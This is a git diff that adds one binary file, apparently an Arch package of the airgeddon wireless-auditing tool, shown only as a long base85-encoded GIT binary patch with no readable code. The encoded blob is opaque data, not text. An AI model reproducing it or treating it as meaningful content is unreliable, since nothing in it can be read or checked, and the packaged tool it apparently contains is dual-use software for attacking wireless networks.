binaries/arch/airgeddon-git-r590.6e8dd63-6.2-any.pkg.tar.xz diff --git a/binaries/arch/airgeddon-git-r590.6e8dd63-6.2-any.pkg.tar.xz b/binaries/arch/airgeddon-git-r590.6e8dd63-6.2-any.pkg.tar.xz new file mode 100644 index 0000000000000000000000000000000000000000..c0c24007d2550a3302e01f4b436d3295f36c2ddd GIT binary patch literal 129544 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�YVhjBqaqW9$^tV3lg-Fg{)uITio|idiOFK~-SCKx)v7 zsj!h@-@w+Zt~utCNmhEM^GGZNU28ncLTpj3>}8scB*P~zB?{p+M=Fr7hphM^LGjpw z_FPTD)kpIi>~4ai8XFkN;PbKFd5ZSU*C{QK3+gb;47@GT)R~2mxN_);9<1qpy$-yC 